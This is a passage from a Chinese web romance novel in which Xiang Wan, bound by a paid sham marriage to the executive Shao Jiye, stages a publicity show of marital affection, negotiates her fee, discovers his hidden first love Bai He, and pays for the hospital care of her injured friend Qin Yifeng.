锦绣摸了摸鼻子,摸摸吐槽:“可是您已经拒绝了三年了,哪有一次管用来着……”
向晚抓了抓头发,心里的火更是不打一处来:“锦绣,你去帮我打听打听,有没有那种吃了可以抑制一下那方面想法的药,周六的时候给他咖啡里掺点。”
锦绣突然脸色变得非常奇怪。
向晚以为是她一个黄花大闺女有些害羞,于是又说:“算了,还是我自己去找人问问吧。我还得问问其他药……”
话音刚落,一声闷闷的笑声从楼下客厅的方向传来。
“噗嗤——”
紧接着,好几个笑声传来,越来越大,仿佛是憋了好久,终于忍不住爆发出来了。
向晚吓了一跳,往下看去,发现客厅的沙发上居然坐了好几个人。
其中有两个她认识,是邵氏的副总,一个叫胡威,一个叫卢杰明,分别主管市场部和财务部。
还有两个她不太认识,不过看着也有些面熟,好像是在哪里见过。
“那个……嫂子好,我叫肖明,你可以叫我小明。”
另一个也自我介绍道:“嫂子,我叫彭鹏,你随便叫我什么都可以。”
向晚整个人都傻了。
空空荡荡了三年的别墅,一下子来了这么多人,给她CPU都干烧了。
“那个,你们好。你们是来找邵寂野……不是,找邵总的吗?他应该是晨跑去了,你们稍坐一会儿……”
“嫂子,野哥不就在这儿呢么!”
肖明指了指厨房的方向。
向晚扶着二楼的栏杆,微微往外探了探身子。
邵寂野也穿着一套家居服,腰间还围着围裙,正在厨房里煮什么东西。
邵寂野抬头看到她,微微蹙眉:“进去,穿好衣服再出来。”
向晚这才意识到,昨晚的睡衣是邵寂野给她换的,里面可是什么都没有。
她刚刚大喇喇地这么走出来,以为家里只有锦绣,所以也没怎么在意……
向晚飞快的退回了卧室里,心还在砰砰地跳。
叩叩——
卧室门被敲响了。
“谁?”
邵寂野直接推门进来了:“我。”
向晚刚把睡裙脱了,赶紧背过身去:“你上来干什么?”
邵寂野有些无语地看着她:“都看多少次了,还遮。”
他拉开衣柜,从里面挑了几件衣服出来,白色的衬衫,还有烟灰色的西装。
想了想,他又拉开抽屉,取出了一条深蓝色带银色斜纹的领带,然后就当着向晚的面慢条斯理地换衣服。
向晚看着满满当当的衣柜,问他:“你的衣服……怎么这么多?”
邵寂野正在系衬衫的扣子,没好气地说:“我好歹是个企业家,每天就同穿一件衣服,土不土?”
“不是,我的意思是,为什么柜子里会突然多出这么多你的衣服。”
“这是我家,有我的衣服不是很正常?”
“那以前这些衣服你都放在哪?”
邵寂野在外面有其他房子,但向晚不知道在哪,更没问过。
邵寂野却说:“酒店。”
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“你这三年一直住酒店吗?”
“嗯,订了个房间常住。”
“那你之前那些女朋友……也跟你一起住酒店啊?”
邵寂野转过头来,斜斜扫了她一眼:“邵太太劝退了这么多女员工,都没问过她们?”
向晚还真没问过。
“哦,我忘了,邵太太一心只想谈个好价格,黑心的中间商想赚更多的差价。”
向晚轻声说:“那是你的隐私,我不方便问。”
“是不方便问,是根本就没想过要问?”
“……难道你希望我问?”
邵寂野有些失望的叹了口气:“如果我说我希望,你会问吗?”
向晚立刻说:“那我知道了,下次再打发你女人的时候,我一定会问的。”
邵寂野气笑了,伸手在她原本就乱蓬蓬的头发上呼噜了一把:“你气死我算了。赶紧过来,帮我系领带。”
向晚推开他在自己脑袋上作乱的手,稍微整理了一下自己的头发,才慢吞吞地走了过去。
邵寂野把领带塞进她手里,然后微微昂起下巴,等待着她操作。
向晚拿着领带比划了一下,“不行,你太高了,我够不着。”
“踮脚。”
“踮脚也够不着。”向晚问:“你以前那些女人都是怎么给你系的?”
邵寂野瞬间睁开眼,微微压低了眼神瞪她。
向晚立刻有些悟了,举一反三道:“知道了,下次我也问问这个问题。”
邵寂野彻底无语了,双手箍着她的腰轻轻一用力,她就被端了起来,然后稳稳放在了床边。
这样一来,她还比邵寂野稍微高一些。
邵寂野闭上眼睛再次昂起下巴,小声催促:“快点,下面还有人在等。”
向晚“嗯”了一声,先把他衬衫的领子翻起来,再把领带工工整整地系好,最后再把领子全都整理好。
“好了。”
邵寂野对着镜子看了看,眼神中透露着满意:“你系领带的手艺的确不错。”
向晚说:“以前系太多次了,练出来了。”
邵寂野状似不经意地问了一句:“给谁?秦以枫?”
第二十五章 邵太太对我的技术不太满意?
“不是,我爸。”向晚说:“我爸沾点儿女儿奴,从我很小的时候开始,就让我给他系领带了。三年前他出差,临出门的时候也是我给他系的领带。”
说起父亲,向晚的语气有些低沉。
邵寂野也沉默了一会儿。
直到肖明那个大嗓门在下面喊道:“野哥,嫂子,你们快下来看看,好像糊锅了!”
向晚吸了吸鼻子,好像的确闻到空气里有一股奇怪的味道。
不像是糊锅,但一时半会也不好形容。
邵寂野看了看腕表,拉开卧室门对着下面低吼了一句:“我看着时间呢,吃你们的吧!吃饭都堵不住你们的嘴。”
彭鹏笑呵呵地调侃道:“野哥,你跟嫂子快点啊,你们两个腻乎,把我们几个留在客厅,貌似不是待客之道吧?”
邵寂野直接回道:“喂猪要什么待客之道?”
要说起来,向晚跟邵寂野也算是“认识”三年了。
在她眼里,邵寂野一直都是一个工作机器+花花公子。
她还是第一次见到他和他的兄弟们斗嘴。
“这么意外吗?”邵寂野挑眉。
向晚说:“觉得你多了点活人感。”
“什么意思,我以前像**?”邵寂野忽然猛地把她带进了怀里,“看来邵太太对我的技术不太满意?”
向晚整个人都被迫趴在了他的肩头。
她用力推拒着:“别闹了,今天要上班的,一会儿来不及了。”
邵寂野轻哼了一声,又磨蹭了一会儿,才放过了她。
打理好邵寂野,向晚也得尽快收拾好自己。
她习惯性的从衣柜里取出另一套黑色的套装,还没拿出来,就被邵寂野按住了手。
他握着她的手,又把套装挂了回去,然后手指在衣架中徘徊了一阵,最后选定了一件浅蓝色的连衣裙。
“穿这个吧。”
向晚接过裙子,有些迟疑:“上班我还是穿正装吧。”
“你是去你老公的公司上班,想穿什么穿什么。”邵寂野又端详了一下她的全身,微微蹙眉:“你衣柜里的衣服都太素了,周末去买点新的。”
向晚的衣服不多,大多数时间都是在公司里穿正装。
只有周末,偶尔会回一趟原来的家里,穿一下便装。
但即便如此,她也严格遵照邵老太太的指示,衣服的款式和颜色都是按照白荷的喜好去选的。
白荷喜欢清新淡雅的,于是她买衣服也只买清新淡雅的。
邵寂野知道她还不太习惯在他面前换衣服,于是主动说道:“我先下去,你换好衣服化个妆再下来。”
“今天又要去什么酒会吗?”
“不用。”
“那为什么要化妆?”
邵寂野的手已经按在了门把手上,他的眼睛微微眯了眯:“就上次去谭家的那个妆。”
说着,他走出了主卧,从外面带上了门。
楼下似乎又传来那几个人的喧闹声,似乎在哈哈大笑。
隔着一层门板,向晚听不太真切。
她快速换好衣服,但是没有按照邵寂野说的化上次那个妆。
上次的妆容主要是要配合那件略显性感的礼服,所以妆容比较妩媚,而且偏浓。
今天要搭配浅蓝色的裙子,所以她只是画了个淡妆,只是在眉眼和唇色上稍微下了点功夫,最后随意整理一下头发,就下楼了。
刚走到楼梯上,她就明显能感觉到,楼下的五道目光齐刷刷地看了过来。
锦绣不知道什么时候也下楼了,站在不远处的角落里,呆呆地看着她。
这些年,向晚已经习惯了过这种没什么人在意的日子。
公司里的人都是看人下菜碟,邵寂野不怎么搭理她,其他人有样学样,也基本也是当她不存在。
久而久之,向晚也习惯了被当空气的日子。
她也懒得化妆,一副死气沉沉的模样。
上次去谭家,是出于礼貌,不得不打扮。
今天,也不知道邵寂野是抽什么风……
哐啷——
什么东西掉在地上了。
邵寂野弯腰,从地上捡起一把汤匙,清了清嗓子,声音明显有些不自然:“下来吃东西了。”
“哦,好。”
向晚下了楼,扫了角落里的锦绣一眼。
小锦绣满眼都是小星星,贼兮兮地凑上来:“太太,你今天好漂亮。”
向晚蹙眉:“我不是一直长这样?”
“不一样不一样,平时见你都是一副心事重重的样子,没有半点笑脸,看的人很压抑。今天你稍微一打扮起来,整个人都仿佛在发光!”
向晚笑了:“那你是没吃过好的,以前我还是很爱漂亮的,衣柜里好多衣服,鞋子都有整整一柜子。”
爸爸是真的把她当做公主来宠。
她的房间永远都是粉色的,衣柜里各式各样的衣服,包包,鞋子,她过得跟迪士尼动画里的公主也差不多。
妹妹向晴也是一样,比她只多不少。
只是后来……
那些东西全都被二叔二婶霸占了,卖的卖,扔的扔
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,她的房间也被砸掉了所有装修,统一装成了土豪金的乡村土老板风格。
家里还有个胖成猪的堂哥,每次经过他身边,就能闻到一股恶臭,熏的整个屋子似乎都有味道。
说起味道……
刚才在楼上闻着还不太明显,越往楼下走,那股奇怪的味道就越浓。
向晚问道:“邵……那个,你在煮什么?”
邵寂野没好气地说:“我有名字,不叫邵那个。”
“邵总。”
胡威又是噗嗤一声笑:“嫂子,我们也算共事了三年了,你们在家里该怎么称呼就怎么称呼,当我们不存在就好。”
卢杰明看着向晚,还有些愣神,**威碰了碰手臂提醒之后,转而看向了邵寂野:“还得是野哥眼光好。”
邵寂野明显对这句话十分受用,眼神中也透露着慵懒和满足,他用两团布垫着,端着一个沙煲放在了餐桌上。
那股奇怪的味道就是从这个沙煲里散发出来的。
向晚凑过去闻了闻:“这是……?”
“中药。”邵寂野说:“昨晚老中医开的方子,你忘了?”
锦绣连忙接过了话说道:“太太,邵总一大早就起来了,去买了中药和沙煲,我说我来煮,先生还不同意,非要自己亲自煮。”
邵寂野似乎被锦绣说的有些不好意思,低声斥道:“学你的**去吧,这里没你的事了。”
“哦,知道了先生。”
锦绣调皮地冲向晚吐了吐舌头,小跑着回了她自己的房间。
邵寂野冲向晚招了招手,示意她过去:“过来坐。”
向晚迟疑着没动,那股味道实在是让人难以下咽。
或许是看到了她面露难色,邵寂野走了过来搂住了她的腰,轻声说道:“乖,过去喝药。”
向晚浑身都不太舒服,鸡皮疙瘩起了一身。
她低声问道:“你到底怎么了?”
邵寂野故作高深地冲她轻笑,用只有两个人能听到的声音说:“昨天不是还信誓旦旦的说要跟我合作,怎么,睡一觉起来就失忆了?”
向晚如梦初醒:“你的意思是……”
“占好邵太太这个萝卜坑,我可不想遂了奶奶的愿,娶谭璇进门。”
“一千万你同意了?那什么时候先给我打预付款五百万?”
两个人几乎是同时开口。
说完之后,两个人都微微愣住。
向晚连忙点头:“好的,我会努力。”
邵寂野不禁揉了揉额角:“放心吧,钱少不了你的。”
第二十六章 男人都是天生的演员
肖明看不过去了,又开始抱怨:“行了,你们两个一大早就腻腻乎乎的,体谅一下我这个单身狗好不好?”
邵寂野半拥着向晚在餐桌前坐下,一边把黑黢黢的药汁舀出来放在白瓷碗里,一边轻笑着说道:“你单身又不是我的问题,自己没本事,关我什么事?”
说着,他把药碗放在药碗放在她面前。
紧接着,他的手机就响了。
邵寂野的手机铃声向晚还是你知道的,就是系统自带的那种招牌铃声。
但今天这个,好像是一首歌。
还是一首英文歌。
邵寂野扬了扬手机,问向晚:“邵太太,介意我接个电话吗?”
向晚已经有了心理准备,来电的人应该地位很特殊。
联想到昨天徐艺珍跟她说的话,向晚隐隐有种猜测。
“不介意。”
邵寂野轻笑了一声,直接按下了接听键。
两人离的很近,电话那头的声音是一个很甜的女声:“阿野,你怎么还没来呀?”
邵寂野拿开手机看了看时间,然后一只手向后解着围裙:“你已经醒了吗?我现在就过来。”
“好,那我等你哦~”
挂掉电话之后,邵寂野唇边还挂着淡淡的笑意。
向晚试探着问了一句:“佳人有约?”
“嗯,”邵寂野直接承认了,然后把围裙卸下来放在一边,轻声说道:“我有点事要先过去一下,老卢,今早的例会你主持一下。”
卢杰明点了点头:“放心。”
邵寂野抓起车钥匙和外套,快步离开了别墅。
他一走,他的几个兄弟们也挨个告辞:“嫂子,我们也走了,早上有例会。”
很快,偌大的别墅里,就又只剩下了她和锦绣两个人。
锦绣人都懵了:“太太,先生这是……我还以为他回心转意了呢。”
向晚淡定地坐下,一勺一勺往嘴里塞药汁,“他从来就没爱过我,哪里有什么回心转意?”
锦绣还是不太明白:“那他最近突然对您这么好,是因为什么?”
“演戏。”
男人都是天生的演员。
向晚之前还明白他最近到底抽什么风,现在全想明白了。
上一次他没护住白荷,也没料到邵老太太居然真的会下死手。
听徐艺珍那个意思,三年前白荷的确出了车祸,但应该是被邵寂野救回来了,藏在别处,只是对外声称她已经去世。
而现在,他只是要让邵老太太把矛头全都对准自己。
说白了,她以前是老太太找来的棋子,现在反而是邵寂野给白荷找的挡箭牌而已。
最后她跟邵老太太反目,邵老太太尝到被背叛的滋味,算是他的报复;
但同时,牺牲她一个无名小卒,他们祖孙日后上演一出世纪大和解,邵寂野照样是个孝子贤孙。
她原先只是想着,邵寂野想报复邵老太太,自己是他最好的人选;
没想到邵寂野玩了一出一石二鸟,她不但得当工具人,还得给白荷挡灾。
这大概也是他提出来给双倍钱的原因吧。
锦绣微微有些生气:“太太,男人果然都靠不住。亏我这几天还觉得先生人不错,我真想扇自己一耳光。”
“扇自己就不用了,”向晚提醒她:“我在邵家的日子估计不会太长了,等我走了,新的女主人进门,你的日子也不知道会不会这么好过,得早做打算。”
锦绣咬着唇,重重点了点头:“您给我发的工资我都存下来了,够我读研了。”
锦绣是个有主见有想法的孩子,向晚还算比较放心。
“哎呀!太太,这个药您要不别喝了,先生还不知道会给里面加什么东西呢!”
向晚轻笑:“他不至于现在就毒死我。”
“那他这一大早起来,亲自给您煎药……”
“你没看到今天他叫了几个观众来吗?或许今天中午,你就能刷到邵总宠妻的通稿了。”
向晚还是有些低估了邵寂野的能力。
她从浅枫苑打车去公司,一进大门就能感觉到气氛跟以前不一样了。
前台不再是事不关己的态度,直接站了起来,九十度鞠躬:“向经理早。”
进了办公室,钟灵也第一时间凑了上来,贼兮兮地冲她挤眼睛:“向经理,您终于是苦尽甘来了呀!”
向晚坐在工位上刷了会手机,冷笑了一声,把手机扔到一边。
原来那个肖明不是别人,竟然是本地电视台的二把手。
还有那个彭鹏,居然是个自由摄影师。
再加上公司的两个高管也在场,这下可好了,两个演员,一个摄影,一个发布平台,齐活。
不得不说,彭鹏的摄影技术真挺不错。
把她拍的很好看。
照片里,邵寂野温柔地低头看着她,而她红着脸被他拥在怀里,看起来还真
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像那么回事。
肖明的文案也不是不遑多让:“男才女貌,低调甜蜜……”
肉麻的措辞让向晚有些不适。
邵老太太打来电话的时候,向晚并没有很意外。
邵老太太的态度可以称得上十分不好:“向晚,你还记得我交给你的任务吗?”
“奶奶,您身体好些了吗?”
“我不用你管!你告诉我,你跟阿野准备玩真的了?”
向晚其实想过,要不要再去跟邵老太太坐地起价。
邵寂野给她一千万,或许她可以去问邵老太太要更多。
而且按照邵老太太的执念,八成会答应的。
可后来想了想,她还是放弃了。
邵寂野这个个性,如果她真的两头逢源,估计真的会弄死她。
“奶奶,我跟阿野有空会过去看您的。”
邵老太太气笑了:“好!真好!向晚,我以前还当你是个拎得清的,没想到居然也是个**!阿野哄哄你你就信?别怪我没提醒你,我这个孙子可不是什么善良之辈。”
“奶奶,要不要我给您带点猴魁去?还有什么其他需要的,都可以告诉我,我让阿野去买。”
邵老太太直接挂断了电话。
向晚看着黑掉的手机屏幕,摇了摇头。
钟灵竖着耳朵,似乎听到了一些,兴奋的像一只猴:“向经理,我跟了你也有三年了,这波能不能蹭点您的热度,鸡犬升天呀?”
向晚直接泼了她一盆冷水:“你最近看看其他公司的招聘信息吧。”
钟灵眨了眨眼,有些没反应过来:“为什么呀?”
“让你看你就看,有合适的就告诉我,我亲自开除你,还能给你争取个2n。”
外人只当她表面风光,只有向晚心里知道。
她得罪了邵老太太,怕是在公司里待不久了。
嗡——
手机来了一条短信,是银行的提示消息,到账五百万。
转账人:卢杰明。
向晚不禁感叹,邵寂野做事还是严谨,给她钱也不走自己的私账,而是让卢杰明从财务部拨款。
这样就算以后她想反咬一口,连个证据都没有。
不过也无所谓。
一千万,已经超出她在邵家这三年当中间商赚的太多太多了。
殊途同归吧。
向晚的手机又响了。
她的神色一变,拎起包就往外走:“钟灵,我有事出去一趟。”
第二十七章 狭路相逢
向晚赶到医院的时候,只有秦叔一个人站在手术室外面。
几天没见,之前还精神矍铄的叔叔突然间像是老了十岁,头发白了一半,整个人也瘦了一大圈,枯槁的厉害。
他蹲在手术室旁边的角落里,整个人蜷缩成了一团。
明明旁边全都是空位置,可他都没去坐。
向晚能理解这种心情,当时爸爸刚出事,妈妈也被送进抢救室的时候,她也是这样,根本没办法坐。
不同的是,她是跪在抢救室门口祷告。
向晚急忙走了过去,“秦叔……”
秦叔抬起头来,一看到是她,眼眶顿时红了:“大小姐!”
向晚伸手去搀扶他:“以枫的情况不好,你应该早点给我打电话的。”
秦叔在向晚的搀扶下,颤颤巍巍地站了起来,猛地打了个趔趄,又跌坐了回去,咚的一声闷响。
向晚心里酸疼,连忙去护士站叫了几个小护士过来,帮忙一起把秦叔从地上扶了起来,让他坐在座椅上休息。
还有好心的小护士去接了一杯热水送了过来。
向晚捧着热水,让秦叔小口小口的喝。
等秦叔状态好了一些,他才悔恨地叹了口气,低着头轻声说:“以枫准备出国之前,嘱咐过我,你既然已经结婚了,他就祝福你,让我不要在你面前再提起他,免得弄的你们夫妻不和就不好了。”
秦叔只知道向晚是被邵老太太选中,跟邵寂野结婚的。
但是不知道她和邵寂野根本只是表面夫妻而已。
她在邵家的情况坊间之前也有些传闻,毕竟邵寂野之前花名在外,想瞒也瞒不住。
但邵寂野每周末雷打不动的回家“陪她”,她跟邵寂野的关系外界其实也是扑朔迷离。
准确来说,除了锦绣,她现在的处境任何人都不清楚。
向晚沉吟了一下,问道:“医生怎么说?”
秦叔的眼神更加灰败了几分,“大小姐,其实之前有件事我没告诉你……以枫他,其实基本上算是**。”
向晚震惊不已:“不是已经说要出国了么?怎么会……”
“我之前也以为只是一起普通的交通事故,但后来交警勘验现场的时候发现了不对劲,以枫的车没有任何故障,而且当时视野清晰,路上车很少,视野也很清晰。唯一的可能是,以枫自己选择撞上了行道树。”
向晚回想了一下那天早上的那通电话。
秦以枫前一秒还在电话里跟她说,想让她放弃一切跟他去德国,后一秒就出了车祸。
还有,他提了一句,他看到了邵寂野和谭璇一同出入酒店的新闻。
向晚摇头:“不对,他不应该是**。”
他明明还是在想之后的安排,没有**的动机。
秦叔立刻站了起来,“大小姐,你的意思是,有人对以枫下手?”
向晚顿了顿:“我现在不太肯定。但以枫出事的时候,正在跟我通电话,我觉得他当时的状态不像是要**的人。”
秦叔的目光顿时变得十分愤怒:“一定是向天健!他是不是知道了我在帮你做事,所以想要报复我?!这个天杀的,居然动我儿子……”
向晚安抚了秦叔几句。
秦叔第一时间想到二叔,不是没有理由。
但向晚隐隐觉得有些不对。
二叔根本就不是个灵光的人,他能把事情办的让警方都查不出原因,只能给一个“**”的结论吗?
不是她看不起二叔,她是真的觉得以他的能力,干不出这样毫无破绽的事。
向晚说:“秦叔,警方那边我会找机会去联系一下他们,再继续深入调查一下,当务之急是以枫。”
秦叔重重点头,“对,大小姐你说得对,老天保佑,只要以枫能活过来,我愿意付出我的一切,只要我的儿子能活过来……”
恰在这时,手术室的门开了。
一个护士急匆匆走了出来:“你们谁是秦以枫的家属?”
秦叔立刻迎了上去:“我是他爸爸,护士,我儿子情况怎么样?”
“患者情况不太好,需要紧急输血,不过医院的血库吃紧,家属献多少血,血库里才能调出来多少血。”
“我来!抽我的!”
护士担忧地看着他:“叔叔,患者的出血量很大,您一个人最多只能抽400CC,估计不够。”
“那你多抽点!抽800,或者抽1200!”
“那不行,那样您的身体吃不消……”
“不要紧,你抽!我可以签个保证书,我如果出现什么问题跟你们医院无关!只要能救我儿子就行!”
“叔叔,真的不行……”
向晚站了起来:“护士
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,抽我的吧,我也可以。”
护士看了看她:“你也是患者家属吗?”
“……朋友,可以献吗?”
“可以的,”护士说:“那你们跟我来吧。”
向晚搀扶着秦叔一起去了采血室。
冰冷的针管刺入血管的时候,她微微抖了一下。
秦叔在旁边看的落泪:“大小姐,我对不起你。”
向晚安慰地说道:“是我对不起以枫在先,就当是我偿还他的。”
到底是一次性抽了不少血出去,终于抽完的时候,向晚感觉自己的脚步都有些虚浮。
秦叔说:“大小姐,你休息一会儿再来,我先去手术室门口守着。”
向晚点了点头,“好。”
她用手按着**处的棉签,靠在墙上休息。
余光里,隔壁的检验科里也来了一对夫妻。
男人高大英俊,女的温柔甜美,看上去很是般配。
女人委屈地噘嘴:“能不能不抽血呀?我真的怕疼。”
男人耐心地哄着:“医生说了,还是抽血检查保险一点,你也想确认一下,对不对?”
女人终究是点了点头:“好吧,那我要骑大马。”
男人的声音微微有些赧然:“现在吗?”
“嘿嘿,肯定不是现在呀,你现在可是个名人,当众给我当大马,要是被拍到了多丢面子啊!”
男人宠溺地摸了摸她的头发:“乖,晚上回去让你骑,正面反面都骑。”
女人红着脸啐了他一口:“你想得美,要是我真的怀孕了,前三个月肯定是不行的。”
“那怎么办?我去捅床垫?”
女人狡黠一笑:“你家里不是还有个女人么,你去她那儿凑合凑合呗。”
两个采血室中间,只隔了一层透明的玻璃挡板。
向晚一直看着他们,她的目光也终于引起了旁边两个人的注意。
男人看到她的时候,微微蹙眉,但更多的是疑惑:“你怎么在这里?”
向晚朝他们挥了挥手:“嗨,真巧。”
她看了看邵寂野,然后目光平移,看向了被他护在怀里的那个女孩。
那个她被邵老太太逼着看了无数遍照片的,让她必须一言一行和神态穿搭都必须模仿地惟妙惟肖的模板——
她勾了勾唇,点点头,算是打招呼:“你好,**。”
第二十八章 以前没看出来,邵太太真是深藏不露
打完招呼,向晚就离开了采血室,回到了手术室门口。
秦叔看到了她棉签下方微微发青的皮肤,蹙眉道:“大小姐,你没按好,淤血了。”
向晚看了一眼,没当回事,扬手把沾了血的棉签扔进垃圾桶里:“过几天就好了。里面没有其他状态了吧?”
秦叔摇了摇头:“没。”
“没消息就是好消息,医生在尽力抢救呢。”
秦叔勉强点了点头:“也是。”
不远处,一个熟悉的身影缓缓走了过来。
秦叔最先发现,然后警觉起来,低声提醒她:“大小姐,你看。”
向晚一回头,只看到邵寂野一个人。
等他走近一些,向晚往他身后看了看,“**呢?”
“刚抽了血,头晕,开了个VIP病房让她休息。”
向晚轻笑:“查怀孕,应该不会抽太多血吧?”
“她胆小。”
“哦。”
邵寂野看到了旁边的秦叔,收回目光,对向晚说道:“聊聊?”
向晚指了指头顶上【手术中】三个大字,摇头:“现在不行,走不开。”
“你妈妈?”
“秦以枫。”
邵寂野的目光顿时冷了下来。
向晚说:“晚上回去再说吧……不对,你晚上要回去给人当大马,那就明天,公司见。”
邵寂野嗤笑了一声:“你见到白荷,好像一点都不惊讶?谁告诉你的?”
“我一个朋友,正好认识**。你放心,奶奶不知道。”
邵寂野死死地盯着她,像是在分辨她话里的真实性。
向晚坦然站着随便他看。
突兀的铃声突然响起。
是早上在家里听到的那首英文歌。
邵寂野立刻接了起来,那头传来白荷撒娇的声音:“你不是说去给我接热水么,怎么去这么久?”
“马上回来了。”
邵寂野收起手机,对向晚说:“那五百万你收到了吧?”
“收到了。”
“既然收到了,奶奶那边,不要多嘴。”
向晚点头:“只要钱到位,我一定把事情办的圆满。”
邵寂野讽刺地笑:“邵太太还真是初心不改,一心搞钱。”
向晚耸了耸肩:“对我来说,你身边的女人是温甜甜还是白荷,没有任何区别。要说区别,就是白荷不需要我再去谈赔偿金,少了一笔收入。”
邵寂野脸上的笑意带着轻蔑:“那还真是可惜。”
“后续的五百万,邵总什么时候打给我?”
“急什么?钱全都打给你了,谁知道你会不会反悔?”
向晚勾了勾唇:“三天之内见不到尾款,奶奶那边你自求多福。”
邵寂野顿时阴沉下来:“你威胁我?”
“邵总,我虽然不懂商场规则,但我跟我二叔打交道久了,也明白了一个道理。因为利益而建立起来的联盟,一点都不稳固。如果外部有更大的利益诱惑,任何一方都有可能随时撕毁约定。只有双方互相握有对方的把柄,这样才稳妥。”
邵寂野深深地看了她一会儿,过了好几分钟,才冷声说道:“这两天注意查收银行短信。”
“谢谢邵总。”
邵寂野看她的目光有些提防,还多了几分激赏:“以前没看出来,邵太太真是深藏不露。”
“过奖,我只是想拿到我应得的。”
邵寂野的铃声又响起来。
向晚催促他:“快去吧,别让胆小的**等急了。”
……
邵寂野走后,秦叔好几次欲言又止。
想问,但是又不知道从何问起。
手术室的灯终于灭了,医生走了出来。
“放心吧,手术很成功,患者已经脱离了生命危险,观察几天没事的话就可以转入普通病房了。”
秦叔一瞬间脱了力,整个人都软倒了下去。
向晚代为感谢了医生和护士:“真是谢谢你们,谢谢。”
医生看起来有些疲惫,原本都准备离开了,但突然想起来一件事:“对了,你们认不认识……小晚?”
向晚一愣:“我就是。”
“患者刚刚有了些意识,一直在喊你的名字,”医生说:“如果可以的话,最近你多来陪护一下,身边有了亲近的人,对恢复有帮助的。”
向晚笑了笑,没说话。
医生应该是什么情况都见过了,见向晚没有给出明确答复,也不再说什么,转身离开了。
很快,护士们推着秦以枫出来。
他浑身还插着好几个管子,额头上包
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着厚厚的纱布,露在被子外面的双腿都打着石膏,眼睛也紧紧闭着,看起来毫无生气。
秦叔扑了过去,但小心翼翼地不敢触碰到他。
护士提醒他:“叔叔,我们得尽快把患者送到ICU观察。”
秦叔点了点头,松开了握着床边的手:“好,好……”
秦以枫被推入了ICU,几个护士都在忙碌,有调试医疗机器的,也有记录数据的。
隔着一层透明玻璃,向晚站在外面看着他。
在她的印象里,秦以枫是个开朗阳光的男孩,他总是笑,很少有丧气的时候。
中学的时候,他就坐在自己后排,也会像那个年纪的青涩小男生一样,盯着她的发绳看了一节课,结果被班主任老师当众问了一句:“秦以枫,向晚的发绳里到底隐藏着什么玄机,你研究明白了没有?”
向晚微微脸红。
秦以枫却大大方方的说:“老师,以后我跟向晚的婚礼,你来当证婚人吧?”
班主任老师也被逗笑了:“你想的太挺久远,你们才多大啊,就想以后结婚的事儿了?人家向晚答应你了吗?”
秦以枫尴尬地抓了抓头发:“现在还没,不过迟早的事。老师,我们可说好了啊,以后就算我们去南极结婚,您也得来!”
“你们为什么要去南极结婚?”
“向晚说她喜欢企鹅和极光。”
全班哄堂大笑。
连班主任也摇头失笑:“行吧,我算是知道了,你就是个唯向晚主义者。”
那些时光啊。
向晚其实挺能共情邵寂野。
倘若真的爱的那么深刻过,是真的这辈子都难以忘记。
白荷活着。
秦以枫,你也要好好活着啊。
不知道是不是真的有心电感应,病床上的秦以枫缓缓睁开了眼睛。
他仍旧很虚弱,但微微侧了侧头,看向了向晚的方向。
他张了张嘴,似乎急切地想要说什么。
护士吓了一跳,赶紧去查看。
可秦以枫什么都不顾了,固执地看向她,似乎是在要她的答案。
向晚微微笑开,看着他点了头:“你要好好治疗,听医生和护士的话。我答应你,等我办完这边的事,我们就一起去德国。”
第二十九章 第一次在新闻中有了名字
护士突然“咦”了一声。
然后惊喜道:“他血压上来了!”
旁边的几个护士也纷纷凑了过来:“人好像也睁开眼睛了!”
几个护士顺着他目光的方向看了过来,落在了向晚身上。
“哦,原来是女朋友来了呀!”
“她是不是就是刚刚患者一直喊着的那个小晚?”
“应该是,她一直在外面等着呢,刚刚还去抽血了。”
“呜呜呜,真羡慕啊,这个年代了还有这么真挚的感情。”
向晚站在外面,听不到里面护士们在说什么,只能看到她们的嘴巴一张一合的,但从她们的神色上来看,轻松,愉悦,那秦以枫的情况应该就没有太大问题。
向晚对着秦以枫笑了笑,然后挥了挥手,转身离开。
她直接去了一楼缴费室:“你好,秦以枫的医疗费用还有多少钱没结?我一起付。”
工作人员查询后告诉她:“算上这次手术费用,目前要交二十三万。”
向晚直接说:“我先交一百万,都存在他账户上,之后的费用直接从这些钱里面扣除就可以。”
“好的。”
刷了卡,向晚就准备离开了。
刚走到医院门口,秦叔追了出来:“大小姐……”
向晚停了下来。
秦叔拿着手机,整个人都有些不好意思:“我刚刚收到医院给我发的短信,大小姐,以枫的医药费应该我来出的,怎么能让您花钱?而且您现在正是用钱的地方,天隆集团的股份还有不少没有买回来呢……”
向晚笑的很淡然:“秦叔,我已经有办法赚更多的钱了。”
秦叔有些惊讶:“你能有什么办法呀?还不是邵老太太那边给的,那也不够啊。”
“秦叔,你先照顾以枫,过一段时间我们可能需要密集操作股票买卖,我要做短线。”
“大小姐,我还是不太懂。”
“到时候我再详细跟你说,对了秦叔,我再转给你三百万,你等我电话。”
秦叔重重点头:“好,大小姐,我听你的。”
“快回去吧,秦叔,照顾以枫是一方面,你自己也要注意身体。”
秦叔有些感动:“大小姐你放心吧。我的身子骨还硬朗的很呢,没有亲眼看着你把天隆集团拿回来,我不会出事的。”
“好。”
向晚回头看了一眼身后的医院大楼。
转身离开。
回到浅枫苑的时候,整个别墅都是漆黑一片。
她用指纹开了门,随手按亮了客厅灯。
整个客厅空无一人,锦绣也不在。
这小姑娘不知道跑哪里去了,向晚猜测她可能是去图书馆或者是其他什么地方自习了,所以也没有太在意。
她换了拖鞋,上楼。
刚走到主卧室门口,就听到里面传来一阵娇俏的笑声。
女孩的声音甜美可爱,“你慢一点,哎呀,都快把我颠下去了!”
没有男人的声音。
但邵寂野肯定在。
一个人也颠不成啊。
向晚直接转身,去了走廊最远端的客房。
洗漱完,她用手机看了一会儿大盘走势。
果然,经过邵寂野的这一波操作,邵氏的股票一片惨绿,而天隆集团的股份涨得如火如荼。
几乎翻了三倍。
有关于“邵太太”的更多信息也被披露了出来。
之前关于她和邵寂野的传闻,大多数都是以她是个绿毛龟为中心,最后以她是个忍者神龟而结束。
总归她跟某种两栖爬行类动物结下了不解之缘。
吃瓜群众们对一个窝囊又没有存在感,甚至连自己的真名都不配拥有的“邵太太”一点都不感兴趣。
但是这次不一样。
她第一次在新闻中,有了名字。
【据悉,邵太太真名向晚,是从前天隆集团董事长向天隆的掌上明珠,此前一直在欧洲学习油画,并在全世界采风。】
【向董事长把家人的信息保护的很好,几乎从未在媒体上提起,向董生前极为宠爱女儿,这么多年一直没有让女儿的照片被披露。】
【邵总在三年前公布了自己已婚的身份,但至今并未办婚礼,据可靠消息,早在向董还在世时,邵总和向大小姐就已经相恋,两人感情非常好,
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只是因为恰逢岳父遭遇意外,要给长辈守孝,所以才推迟了婚礼。】
